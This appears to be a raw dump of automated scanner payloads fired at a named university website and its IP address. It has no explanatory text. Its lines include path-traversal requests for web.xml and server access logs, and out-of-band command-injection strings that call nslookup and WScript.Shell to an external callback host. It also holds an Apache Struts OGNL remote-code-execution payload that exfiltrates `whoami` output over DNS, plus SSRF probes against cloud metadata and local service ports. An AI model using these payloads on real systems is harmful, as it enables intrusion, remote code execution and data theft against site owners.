/../../../../../../../../../../WEB-INF/web.xml

http://ymaxuniversity.edu.mm/elmah

/../../../../../../../../../../var/log/apache2/access.log

'{${gethostbyname(trim('gpdm57mpmn_hdhrph-nlhddotwfucwjcxchthlvx'.'2a0.r87.me'))}}'

ymaxuniversity.edu.mm/elmah

createobject("WScript.Shell").exec("nslookup gpdm57mpmnkplmgpstf1stg32ikt3mxcphrnhm4q" & "j94.r87.me").StdOut.ReadAll

+createobject("WScript.Shell").exec("nslookup gpdm57mpmn9yg9ufva6p9kr_qcs092j7gickrh3i" & "rs8.r87.me").StdOut.ReadAll

/../../../../../../../../../../etc/httpd/logs/access.log

<%createobject("WScript.Shell").exec("nslookup gpdm57mpmn85ac6kineinw1xf-7pmdjqvsb-2suh" & "qgq.r87.me").StdOut.ReadAll%>

163.44.198.42/elmah

/../../../../../../../../../../var/log/nginx/access.log

"+createobject("WScript.Shell").exec("nslookup gpdm57mpmn-deze0vlemb6oqafqd3srrxbmoin_3" & "zti.r87.me").StdOut.ReadAll+"

gethostbyname(lc 'gpdm57mpmn8ncuzqhdgrtvoqjqg_p2y1plrax_cy'.'a_u.r87.me')

/../../../../../../../../../../opt/lampp/logs/access_log

127.100.11.2/elmah

eval('gethostbyname(lc 'gpdm57mpmnhwx41zy918nrvrjgccvq7rjf89awbj'.'his.r87.me')')

'+gethostbyname(lc 'gpdm57mpmnkvvabuuft27tpadonpmmyrsetxogtr'.'bhu.r87.me')+'

127.0.0.1/elmah

"+gethostbyname(lc 'gpdm57mpmnme3jw1837_u8yvxigmm3knsmg3e8ds'.'1su.r87.me')+"

/../../../../../../../../../../var/log/lighttpd/access.log

nslookup gpdm57mpmnpfnbdzpwgkxltux3nqt00e0yqmjjug^gzq.r87.me&'\"`0&nslookup gpdm57mpmnpfnbdzpwgkxltux3nqt00e0yqmjjug^gzq.r87.me&`'

/../../../../../../../../../../AppServ/Apache24/logs/access.log

[::1]/elmah

& nslookup gpdm57mpmnm12e8fjutlt-qvnm7i2cp6aa8rpabd^llw.r87.me&'\"`0&nslookup gpdm57mpmnm12e8fjutlt-qvnm7i2cp6aa8rpabd^llw.r87.me&`'

../../../../../../../../../../xampp/apache/logs/access.log

'& nslookup gpdm57mpmn0yyqjscfhuvq_grxssl-rwfc6m56pd^tsy.r87.me&'\"`0&nslookup gpdm57mpmn0yyqjscfhuvq_grxssl-rwfc6m56pd^tsy.r87.me&`'

http://aws.r87.me/latest/meta-data/public-hostname

/../../../../../../../../../../var/log/apache/access.log

"& nslookup gpdm57mpmnunskianpa-1xhviozuro0inkgtkm7s^kug.r87.me&'\"`0&nslookup gpdm57mpmnunskianpa-1xhviozuro0inkgtkm7s^kug.r87.me&`'

http://169.254.169.254/latest/meta-data/public-hostname

nslookup "gpdm57mpmngarw7sazspw-jzdxh6h624u0hup8zf""c48.r87.me"

http://127.0.0.1:22

&nslookup "gpdm57mpmnnrj7vufsemeohr3pfrsg0kh7x1h35g""dk8.r87.me"

http://163.44.198.42:22

'&nslookup "gpdm57mpmng87z5kvh314l2vh7smusyjxrocjzlx""3pu.r87.me"

3

http://[::1]:22

3

3

"&nslookup "gpdm57mpmn_ali5tc2gtgb3x6x7v3depldtpd68y""7pw.r87.me"

http://127.0.0.1:3306

3

http://163.44.198.42:3306

3

|nslookup${IFS}"gpdm57mpmnm_qxcjs3wfvefz5p-yydd8omic-jr3""rk0.r87.me"

3

3

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='nslookup `whoami`."gpdm57mpmnep8usdztrrgtmtnjwxg_kj6oxtrs35""y1o.r87.me"').(#p=new java.lang.ProcessBuilder({'/bin/bash','-c',#cmd})).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}

http://[::1]:3306

3